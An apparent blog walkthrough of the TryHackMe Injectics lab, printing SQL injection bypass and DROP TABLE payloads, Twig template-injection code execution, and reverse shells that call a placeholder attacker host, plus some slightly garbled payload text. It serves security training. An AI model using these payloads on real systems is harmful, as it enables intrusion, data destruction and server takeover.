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Introduction:
Injection vulnerabilities remain one of the most pervasive and dangerous threats to modern web applications, consistently ranking among the OWASP Top 10. The TryHackMe Injectics room, part of the Web Application Pentesting Learning Path, offers a hands-on, controlled environment where cybersecurity professionals can develop and refine their skills in identifying and exploiting these critical flaws. This article provides a comprehensive technical walkthrough of the Injectics room, breaking down each phase from reconnaissance to full exploitation, and demonstrates how seemingly isolated vulnerabilities can be chained together for complete server compromise.
Learning Objectives:
- Master the reconnaissance phase, including source code analysis and directory enumeration to uncover hidden clues and sensitive files.
- Understand and execute SQL injection (SQLi) techniques to bypass authentication mechanisms, even when client-side filters are present.
- Learn to identify, confirm, and exploit Server-Side Template Injection (SSTI) vulnerabilities in the Twig templating engine for remote code execution.
- Develop a methodology for chaining multiple vulnerabilities to achieve privilege escalation and full system access.
- Acquire practical skills in using essential penetration testing tools, including Nmap, Gobuster, Burp Suite, and sqlmap.
You Should Know:
- Reconnaissance and Information Gathering: The Foundation of Every Pentest
Every successful penetration test begins with thorough reconnaissance. The Injectics room emphasizes this critical phase, rewarding attention to detail. The first step is typically a port scan to identify open services. A standard Nmap scan reveals ports 22 (SSH) and 80 (HTTP) are open, indicating a web server is the primary attack surface.
nmap -sS -sV <MACHINE_IP>
With the web server identified, the next step is to explore the website manually. The home page may have limited functionality, often only featuring a login page. However, viewing the page source code can be highly revealing. In the Injectics room, the source code contains critical comments:
<!-- Website developed by John Tim - [email protected]> <!-- Mails are stored in mail.log file-->
This immediately points to a sensitive file, /mail.log. Accessing this log file provides a treasure trove of information: an internal email discussing a “special service called Injectics” that monitors the database and automatically inserts default credentials into the `users` table if it is ever deleted or corrupted. This is a crucial piece of the puzzle that will be leveraged later.
Beyond manual inspection, directory enumeration with tools like Gobuster or Dirsearch is essential to uncover hidden endpoints and files that are not linked from the main pages.
gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,js,txt,php,db,json,log -u http://<MACHINE_IP>
This scan can reveal files like composer.json, which confirms the use of PHP and Twig, and phpmyadmin, indicating a MySQL database backend. This phase teaches a fundamental lesson: always inspect everything. Source code, log files, and hidden directories often contain the keys to the kingdom.
- Authentication Bypass via SQL Injection: Defeating Client-Side Filters
With the information gathered, the next objective is to bypass the login page. Basic SQL injection payloads like `’ OR ‘1’=’1` might not work immediately. Inspecting the page’s JavaScript, often found in a file like script.js, reveals why.
const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];
for (let keyword of invalidKeywords) {
if (username.includes(keyword)) {
alert('Invalid keywords detected');
return false;
}
}
This client-side filter blocks common SQLi keywords and characters. However, client-side validation is only for user convenience and can be easily bypassed. By intercepting the login request with a web proxy like Burp Suite, an attacker can modify the request directly, bypassing the JavaScript filter entirely.
The request can be sent to Burp Repeater, where the payload can be manipulated. To bypass the filter, the payload can be URL-encoded. For example, a single quote `’` becomes %27, and `OR` can be replaced with ||. A working payload to bypass the login might be:
username=1%27%20||%201=1%20--%20&password=anything&function=login
Alternatively, tools like `sqlmap` can automate the detection and exploitation of the vulnerability.
sqlmap -r functions.req --level 4
`sqlmap` may identify a time-based blind SQL injection, confirming the vulnerability.
3. Privilege Escalation: Dropping the Database Table
Successfully bypassing the login grants access to a developer dashboard. However, to get the first flag and escalate privileges, the goal is to log in as an administrator. The `mail.log` file revealed that if the `users` table is deleted, the Injectics service will automatically recreate it with default admin credentials.
The developer dashboard has a feature, such as a leaderboard editor, that is vulnerable to a second SQL injection. Intercepting the request to update the leaderboard, an attacker can inject a payload to drop the `users` table.
; DROP TABLE users; --
Or, in a more crafted request:
1; DROP TABLE users; --
After sending this request, the website may become temporarily unavailable as the Injectics service restores the database. After waiting a minute or two, the `mail.log` credentials (e.g., `[email protected]` and the provided password) can be used to log in as the super administrator, revealing the first flag. This step highlights a critical security misconfiguration: relying on a service to automatically recreate a database with default credentials is extremely dangerous.
- Server-Side Template Injection (SSTI): From Admin to Remote Code Execution
With administrative access, new functionality appears, such as a profile editing page. This is where the SSTI vulnerability is discovered. The application uses Twig, a PHP templating engine. When user input, like a first name, is rendered directly on the page without proper sanitization, it becomes a prime target for SSTI.
To test for SSTI, a simple mathematical payload is injected into the first name field:
{{77}}
If the application is vulnerable and using Twig, the output will be 49. If it were Django, it might render as 7777777. The result `49` confirms the vulnerability.
Once SSTI is confirmed, the attacker can escalate to Remote Code Execution (RCE). A common payload to achieve RCE in Twig is:
{{ self.env.registerUndefinedFilterCallback("exec") }}{{ self.env.getFilter("id") }}
This payload uses Twig’s internal functions to execute the `id` command on the underlying operating system. The output of the command will be displayed on the page, confirming code execution.
To get a more interactive shell, a reverse shell payload can be used. For example, a Python one-liner can be injected:
{{ self.env.registerUndefinedFilterCallback("exec") }}{{ self.env.getFilter("nc -e /bin/bash <ATTACKER_IP> <PORT>") }}
Or, for more robust execution:
{{ self.env.registerUndefinedFilterCallback("exec") }}{{ self.env.getFilter("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<ATTACKER_IP>\",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'") }}
With a reverse shell established, the attacker has full control over the server and can navigate the filesystem to find the final flag, often located in a `/flags` directory.
5. Exploitation Commands Reference
| Phase | Tool/Command | Purpose |
| : | : | : |
| Reconnaissance | `nmap -sS -sV
| Reconnaissance | `gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,js,txt,php,db,json,log -u http://
| SQLi (Manual) | `1%27%20||%201=1%20–%20` | Bypass client-side filter to perform SQL injection. |
| SQLi (Automated) | `sqlmap -r functions.req –level 4` | Automatically detect and exploit SQL injection vulnerabilities. |
| SQLi (Table Drop) | `1; DROP TABLE users; –` | Drop the `users` table to trigger the Injectics service. |
| SSTI Detection | `{{77}}` | Identify SSTI vulnerability in Twig template engine. |
| SSTI to RCE | `{{ self.env.registerUndefinedFilterCallback(“exec”) }}{{ self.env.getFilter(“id”) }}` | Execute system commands via SSTI. |
| Reverse Shell | `{{ self.env.registerUndefinedFilterCallback(“exec”) }}{{ self.env.getFilter(“python3 -c ‘…'”) }}` | Establish a reverse shell connection. |
What Undercode Say:
- Key Takeaway 1: The Injectics room masterfully demonstrates how information disclosure, client-side vs. server-side validation, and chained vulnerabilities can lead to complete system compromise. It serves as an exceptional case study for both offensive and defensive security professionals.
-
Key Takeaway 2: This room underscores the critical importance of secure coding practices. Input validation must always be performed on the server-side, and the principle of least privilege should be strictly enforced. Features like the “Injectics service” that automatically recreate databases with default credentials are a catastrophic security anti-pattern that should never be implemented in production environments.
Analysis:
The TryHackMe Injectics room is a masterclass in web application penetration testing, effectively simulating a real-world attack chain that moves from passive information gathering to active exploitation. The room’s design is particularly instructive because it forces the attacker to think critically at every stage. The reconnaissance phase is not a simple formality; it requires careful analysis of source code comments and log files to uncover the attack’s core strategy. The login bypass highlights a common pitfall in web development: the dangerous assumption that client-side validation is sufficient for security. The subsequent privilege escalation via table dropping demonstrates how an application’s own “safety” features can be weaponized. Finally, the SSTI vulnerability showcases the ultimate consequence of insecure input handling: remote code execution. This progression from a simple information leak to full server takeover provides a powerful, practical lesson in why a defense-in-depth strategy is essential for any web application.
Prediction:
- +1 The increasing adoption of AI-assisted code generation will likely lead to a surge in injection vulnerabilities, as AI models may inadvertently produce code with insecure input handling. Hands-on training platforms like TryHackMe will become even more critical for developers to learn how to identify and fix these flaws before they reach production.
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+1 The demand for cybersecurity professionals with practical, hands-on experience in identifying and exploiting complex, multi-stage vulnerabilities will continue to grow exponentially. CTF-style rooms like Injectics provide an invaluable, risk-free environment for developing these skills.
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-1 Many organizations still rely on outdated security practices, such as client-side validation and automatic credential recovery mechanisms, leaving them highly vulnerable to the types of attacks demonstrated in the Injectics room. The gap between secure development knowledge and its implementation in the industry remains a significant concern.
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-1 As web frameworks and templating engines evolve, new and more sophisticated SSTI vectors will continue to emerge. Defenders must stay abreast of these developments and implement robust input sanitization and output encoding practices, as the consequences of SSTI—full server compromise—are among the most severe in web application security.
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+1 The Injectics room, by integrating multiple vulnerability types into a single, coherent narrative, sets a new standard for cybersecurity training. This approach of teaching attack chaining will become the norm, producing a new generation of penetration testers who think like real attackers, understanding that security is only as strong as the weakest link in the chain.
▶️ Related Video (78% Match):
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Reported By: Kyserclark Tryhackme – Hackers Feeds
Extra Hub: Undercode MoN
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